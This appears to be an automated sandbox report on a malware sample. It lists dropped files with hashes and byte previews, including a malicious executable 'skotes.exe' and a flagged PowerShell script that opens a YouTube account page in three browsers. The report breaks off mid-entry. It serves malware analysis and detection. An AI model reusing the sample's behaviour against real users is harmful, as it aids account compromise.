.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.b.f.t.O.X.D.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9967451360511164
Encrypted:	false
SSDEEP:	96:fYOeUBmK30vDMq1lBgeB0xvD7APJ3jKsaqDRqp6teefZO2lk:fNeqmKEIq3PitCWszsp64efw2lk
MD5:	BB63B261BA8A07F98AA9F84F9024A3EB
SHA1:	B8FD871924A17B17FEF32885C7859B207F59DF6D
SHA-256:	F44ACA7C7B90DC3FCE79368CFC5B89B5B442B31D66A4B9EE7EA5F04897668AD3
SHA-512:	09ED43EE0ECE43E2EDC3DBB1064D521F071EF962126E8BAB192557FDD2E22FB576DAD71552FE2748B32799EFC0342037E15505E62FB90000DE293AE95131D63D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".I.P.z.E.h.y.A.+.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.b.f.t.O.X.D.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9077550080710597
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xdxl9Il8u0H+UREHiWfKDWlAUyQJ6ybWTeQlHPQQhK9EVd/vc:aDYOeU2r0WlAUDkGWTewHDK9EU
MD5:	CF42D3925CF9EF30DBF09F31ADA1ACD0
SHA1:	1A19A7B04A428A2D64772669E5F9FF0838C4D50C
SHA-256:	309E4C0166797DAC18C52484E18579627124D730FB2940CA8B77BF58B08D77EE
SHA-512:	B2F70721300720DA0EB1DB17839EC86C7DCE6FAF3DD82CB26D9B92780A2E6747C5BDF3186B5784DAA78CAED12BA76160EF095878CEE1B157AF0628375955559D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".o.J.x.K.u.P.F.c.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.b.f.t.O.X.D.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\KQGBYWk[1].ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	132
Entropy (8bit):	4.64067892369036
Encrypted:	false
SSDEEP:	3:gJiFtCSLUxGTKEsQUliKMFHGwImMRMFHIHBCAlgJRMFHDMQabKy:gsvRLUxGTuiKMFmMUMFoH4MFjan
MD5:	27B9F35DD5E29794E0F254D4006F6FA4
SHA1:	95496FFD85E8E55F57832B24C90A900D3CC96B26
SHA-256:	CA3BD2725A493554E081EA2C5528C7F134EDAD6374E2747E27230F112CEC7F1D
SHA-512:	44DBB780E4E25E3ECCC2DE8C3EDC7B0A4BB18E1F7F9CBBDD046AE74DC4DAEE526FDC5339864A66EB9D14B48B0871F474FDBE22EB1766EB4E94B0B6460FD5841D
Malicious:	false
Preview:	$url = "https://www.youtube.com/account"....Start-Process "chrome" $url..Start-Process "msedge" $url..Start-Process "firefox" $url..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1300
Entropy (8bit):	5.39756930222642
Encrypted:	false
SSDEEP:	24:3/WSKco4KmBs4RPT6BmFoUebIlmjKcmZ9tXt/NK3R88bJ0z+rKE:vWSU4y4RQmFoUeUmfmZ9tlNWR83yuE
MD5:	57C0ADD0E557C0AC9EE48310808DD580
SHA1:	7B6F989F2272029A723AF70FE567ACCFF8E9BEA3
SHA-256:	18EFA55A2F17C27AD04DA50DC7BE4E74759CEA3CEFBB68B4F0BE1A02D72D4AB3
SHA-512:	88A83B73E70A696F46A8B58DB6D1F800A8C6A511FEE1C7B9FB08647AC5883A59C90FF315E4972B306E8B85599030BD0B286D663905365CF8E143433C9CECD4E9
Malicious:	false
Preview:	@...e.................................,..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\1008615041\KQGBYWk.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	132
Entropy (8bit):	4.64067892369036
Encrypted:	false
SSDEEP:	3:gJiFtCSLUxGTKEsQUliKMFHGwImMRMFHIHBCAlgJRMFHDMQabKy:gsvRLUxGTuiKMFmMUMFoH4MFjan
MD5:	27B9F35DD5E29794E0F254D4006F6FA4
SHA1:	95496FFD85E8E55F57832B24C90A900D3CC96B26
SHA-256:	CA3BD2725A493554E081EA2C5528C7F134EDAD6374E2747E27230F112CEC7F1D
SHA-512:	44DBB780E4E25E3ECCC2DE8C3EDC7B0A4BB18E1F7F9CBBDD046AE74DC4DAEE526FDC5339864A66EB9D14B48B0871F474FDBE22EB1766EB4E94B0B6460FD5841D
Malicious:	true
Preview:	$url = "https://www.youtube.com/account"....Start-Process "chrome" $url..Start-Process "msedge" $url..Start-Process "firefox" $url..

C:\Users\user\AppData\Local\Temp\13200134-ef87-476c-b1cf-543362531ac0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\2415b3b1-d31b-4370-9455-20bedb34286e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\29bed3e7-400f-4f52-854b-05fe307177dd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4xwaeznv.1wb.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dkaswpqb.ate.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fgkbimmg.ljq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g4wpwc5z.r4q.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1921024
Entropy (8bit):	7.950712593238817
Encrypted:	false
SSDEEP:	49152:JzqRbJAOwImTwJuvYsiI5kDbZF6j9FWHK:wRVA8xobiI566j9Aq
MD5:	5CA58D76EDC0E7291BF3D6BAD7EDBBE9
SHA1:	694124BF2E8D817B7F188706BBC49D0088317FE2
SHA-256:	D4E13FAEFC09EB85BE337713E8899E9F6761D45593E33D19B14AC6F986B2A103
SHA-512:	82B990CE963247C140161CE9AB28C79C5B4D648DDF46D622E152E3C0D79842BE1CF1009A493B7AF37B83976F36C05B56E353C6F7166DFC701979F87447F51FAD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. L...........@..........................PL.....-.....@.................................W...k.......D.....................L.............................<.L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . +.........................@...dkmnrssd.@....1..4..................@...tqafgssw......L......*..............@....taggant.0... L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.402410253525
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854RrH:8e2Fa116uCntc5toYBOM
MD5:	1CA764EAB549CADEA50D48C8785119FF
SHA1:	3C76F04D937547F115B28F91CB18592AE3F3EFFE
SHA-256:	D5246E25977603382A6F3AE028B7800B45B6AAD8E2EAFE863D68EEB59480789F
SHA-512:	50B01DAA3CDF1A32EC36784F4B5E66BEEE09F39CE1CE7FD1D04DE11FAE2F34FBC0E031760F0DE36AD1E2F4396420B295B7D3F7010B2C92C0F8B8AB2DF13A96C8
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\d86f11d0-90c4-4642-97e5-efc188fb64c6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	31335
Entropy (8bit):	7.694019108205432
Encrypted:	false
SSDEEP:	768:514ugFV0910SWyR5kNVdS3sNp/xm3MbiMuYEDlyFUyv6E/ty8:5WcDWyRKNVd2M/IxMuYEDlymsTQ8
MD5:	6B72597205C77D3E40E1A35BEE403801
SHA1:	6BECEE055C6E057AF9475B6D651B4EE561D02F20
SHA-256:	C899297FBDFC88C1634B1145A087FDB5BE17172FD786C078B299557B22F06DEB
SHA-512:	7CB1A98E0C7FBB349D9CB681233A9F4ED22A1C3FAADCDF1BC270B04BD97D3FC41AB6F762B2F5F231281D63D96AC3D243640BA81D5E8CCD9F54486B4F538CA8B4
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\f83a7730-684b-413b-be3b-9a552cfc4079.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\scoped_dir8172_1086171737\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8172_1086171737\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
